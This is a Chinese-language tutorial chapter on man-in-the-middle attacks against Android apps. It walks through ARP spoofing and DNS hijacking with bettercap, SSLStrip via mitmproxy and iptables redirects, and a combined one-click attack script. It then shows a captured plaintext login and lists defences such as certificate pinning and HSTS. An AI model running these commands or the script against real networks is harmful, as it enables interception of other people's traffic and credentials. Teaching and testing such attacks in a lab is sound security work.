18、Android HTTPS中间人攻击实战:ARP欺骗、DNS劫持、SSLStrip攻击

说实话,讲到中间人攻击(MITM),很多开发者的第一反应是「这玩意儿不是早就过时了吗?」。嗯,我当年也是这么想的。直到有一次在客户现场做安全审计,发现他们的金融App居然能被一台树莓派轻松劫持……那场面,真是让人后背发凉。

今天咱们就来亲手走一遍Android环境下的HTTPS中间人攻击流程。我会把ARP欺骗、DNS劫持、SSLStrip这三板斧拆开揉碎了讲。你跟着做一遍,就知道攻击者是怎么得手的,也就能明白该怎么防了。

18.1 攻击链路全景:攻击者到底站在哪里?

先看一张图,把整个攻击链路理清楚。我习惯在动手之前先画个框架,不然容易迷失在细节里。

HTTPS中间人攻击链路全景 阶段一:ARP欺骗 攻击者伪装成网关 阶段二:DNS劫持 篡改域名解析结果 阶段三:SSLStrip 降级HTTPS→HTTP 攻击者设备(Kali Linux + bettercap / mitmproxy) IP: 192.168.1.100 | 开启IP转发 | 配置iptables重定向 受害Android设备 目标App | 浏览器 真实目标服务器 api.example.com (HTTPS) 劫持流量 正常情况:Android → 服务器(直连) 劫持后:Android → 攻击者 → 服务器(中间人)

你看,攻击者其实就站在你和服务器之间。他先骗过你的手机,让所有流量都经过他,然后再把HTTPS降级成HTTP。整个过程对用户来说几乎是透明的。

18.2 环境准备:你得先搭个「靶场」

在动手之前,先把环境搭好。我建议你准备一台Kali Linux虚拟机,再加一台root过的Android测试机。别用主力机,万一搞崩了网络就麻烦了——我曾经在办公室演示时把整个部门的网搞断了,那叫一个尴尬。

组件 推荐配置 用途
攻击机 Kali Linux 2023+ 运行bettercap、mitmproxy
受害机 Android 9-13 (已root) 安装目标App,模拟用户
网络环境 同一局域网(Wi-Fi或热点) 保证二层可达
工具 bettercap, mitmproxy, iptables 核心攻击工具链
我的小建议: 如果你手头没有root过的Android机,用Android模拟器也行。但要注意,模拟器的网络桥接模式有时候会出幺蛾子,我踩过这个坑。建议用Genymotion配合VirtualBox的Host-Only网络。

18.3 ARP欺骗:让手机以为你就是网关

ARP欺骗是中间人攻击的「敲门砖」。说白了,就是攻击者冒充网关,让受害手机把本该发给路由器的数据包,全发到攻击者机器上。

具体怎么做?我一般用bettercap,这工具比arpspoof好用多了。一条命令就能搞定:

# 先扫描局域网,找到目标Android设备的IP
sudo bettercap -eval "net.probe on; sleep 3; net.show"

# 假设目标IP是 192.168.1.105,网关是 192.168.1.1
# 启动ARP欺骗
sudo bettercap -eval "set arp.spoof.targets 192.168.1.105; arp.spoof on"

# 开启IP转发,让流量能通过攻击机到达真实网关
sudo sysctl -w net.ipv4.ip_forward=1

执行完这三步,你可以在攻击机上用tcpdump验证一下:

sudo tcpdump -i eth0 host 192.168.1.105 -nn

如果看到大量来自目标IP的流量,说明ARP欺骗成功了。嗯,这时候你的机器已经成了「隐形路由器」。

注意: ARP欺骗会破坏局域网稳定性。如果你在办公环境测试,记得提前跟网管打招呼。我曾经没打招呼就开搞,结果整个部门断网半小时……那滋味,别提了。

18.4 DNS劫持:把api.example.com指向你的机器

ARP欺骗只是让流量经过你,但流量本身还是加密的。接下来要做的是DNS劫持——让目标App解析域名时,拿到你伪造的IP地址。

bettercap自带DNS欺骗模块,配置起来很简单:

# 创建一个DNS劫持规则文件 dns.conf
# 内容如下:
# 劫持 api.example.com 到攻击机IP 192.168.1.100
api.example.com 192.168.1.100
*.example.com 192.168.1.100

# 启动DNS欺骗
sudo bettercap -eval "set dns.spoof.all true; set dns.spoof.domains /root/dns.conf; dns.spoof on"

这时候,受害手机如果访问api.example.com,DNS解析结果会变成你的攻击机IP。但注意,如果App做了DNS缓存或者使用了DoH(DNS over HTTPS),这招就不灵了。我在测试某银行App时就遇到过这种情况,后来改用hosts文件注入才搞定。

18.5 SSLStrip:把HTTPS扒成HTTP

好,现在流量经过你,域名解析也指向你。但还有一个大问题——HTTPS是加密的,你拿到加密数据也看不懂。这时候就需要SSLStrip出场了。

SSLStrip的原理其实不复杂:攻击者在中间扮演「翻译官」,跟服务器保持HTTPS连接,但跟受害手机用HTTP通信。说白了,就是把页面里所有的https://链接替换成http://

我习惯用mitmproxy配合SSLStrip插件来做:

# 安装mitmproxy
sudo apt install mitmproxy

# 启动mitmproxy,监听8080端口,开启透明代理模式
mitmproxy --mode transparent --listen-port 8080

# 用iptables把HTTP流量重定向到mitmproxy
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080

等等,这里有个关键点——SSLStrip只对HTTP->HTTPS的重定向有效。如果App一开始就硬编码了HTTPS,或者使用了HSTS(HTTP Strict Transport Security),SSLStrip就失效了。我在2019年测试一个社交App时,发现它用了HSTS预加载列表,SSLStrip完全没反应。后来改用SSLStrip+(也叫Strip2)才搞定。

核心原理: SSLStrip攻击成功的前提是——目标App或浏览器允许从HTTP跳转到HTTPS。如果App强制HTTPS且启用了HSTS,你需要用更高级的绕过技术,比如利用客户端证书信任问题,或者直接破解证书绑定。

18.6 完整攻击脚本:一条龙搞定

上面几步分开操作太麻烦。我写了一个整合脚本,把ARP欺骗、DNS劫持、SSLStrip串起来。你直接跑就行:

#!/bin/bash
# mitm_attack.sh - 一键中间人攻击脚本
# 用法: sudo ./mitm_attack.sh [目标IP] [网关IP] [攻击机IP]

TARGET=$1
GATEWAY=$2
ATTACKER=$3

echo "[*] 启动ARP欺骗..."
bettercap -eval "set arp.spoof.targets $TARGET; arp.spoof on" &

echo "[*] 启动DNS劫持..."
bettercap -eval "set dns.spoof.all true; set dns.spoof.domains /root/dns.conf; dns.spoof on" &

echo "[*] 开启IP转发..."
sysctl -w net.ipv4.ip_forward=1

echo "[*] 启动mitmproxy透明代理..."
mitmproxy --mode transparent --listen-port 8080 &

echo "[*] 配置iptables重定向..."
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080

echo "[+] 攻击已启动!目标: $TARGET"
echo "[+] 在mitmproxy界面按 'q' 退出"

跑起来之后,你会在mitmproxy界面看到所有经过的HTTP/HTTPS请求。如果SSLStrip生效了,你会看到原本应该是CONNECT请求的HTTPS流量,变成了明文HTTP请求。

18.7 实战验证:抓一个App的登录包

理论说完了,咱们来点实际的。假设目标App是com.example.targetapp,它登录时会请求https://api.example.com/login。我们来抓一下:

  1. 在Android手机上安装mitmproxy的CA证书(这一步需要root权限,或者Android 7以下系统)
  2. 把手机代理设置为攻击机IP:8080
  3. 打开目标App,执行登录操作
  4. 观察mitmproxy界面

如果一切顺利,你会看到类似这样的输出:

GET http://api.example.com/login?user=test&pass=123456
    ← 200 OK 2.34kB

看到了吗?用户名和密码直接明文暴露了。这就是SSLStrip的「功劳」——它把HTTPS请求降级成了HTTP,所有加密保护荡然无存。

重要提醒: 这个实验只能在你自己控制的设备上进行。未经授权对他人App进行中间人攻击是违法的。我写这些内容是为了让你理解攻击原理,从而更好地防御,不是让你去搞破坏的。

18.8 为什么有些App防得住?

你可能会问:「我按步骤做了,但有些App就是抓不到包,为什么?」

原因主要有三个:

  • 证书绑定(Certificate Pinning):App在代码里写死了服务器证书的指纹,中间人证书不被信任。这是最有效的防御手段。
  • HSTS预加载:浏览器或系统内置了HSTS列表,强制HTTPS连接,SSLStrip无法降级。
  • HTTP Public Key Pinning (HPKP):虽然现在不推荐用了,但有些老App还在用。

我在测试某支付App时,就遇到了证书绑定。SSLStrip完全没反应,mitmproxy也抓不到任何明文数据。后来我不得不反编译App,找到证书绑定的代码,用Frida hook掉才搞定。嗯,那是另一个故事了。

18.9 防御建议:怎么让你的App不被抓?

作为开发者,你应该从源头堵住这些攻击。我总结了三条铁律:

攻击方式 防御措施 实现难度
ARP欺骗 使用VPN隧道、启用802.1X认证
DNS劫持 使用DoH/DoT、App内硬编码IP(不推荐)
SSLStrip 强制HTTPS + HSTS + 证书绑定

我个人最推荐的做法是:证书绑定 + HSTS + 网络层加密。三层防护下来,大部分中间人攻击都会被挡在外面。当然,没有绝对的安全,但至少能让攻击者多花几个星期的时间——对大多数攻击者来说,时间成本就是最好的防御。

避坑指南: 我曾经在证书绑定时犯过一个低级错误——把测试环境的证书指纹写进了生产代码。结果上线后测试环境证书一换,App直接连不上服务器。所以,记得把测试和生产环境的证书分开管理。

好了,这一章的内容就到这里。ARP欺骗、DNS劫持、SSLStrip这三板斧,你跟着走一遍应该就明白了。下一章我们会聊更高级的绕过技术——当证书绑定遇上Frida Hook,会发生什么?嗯,到时候你就知道了。


公众号:蓝海资料掘金营,微信deep3321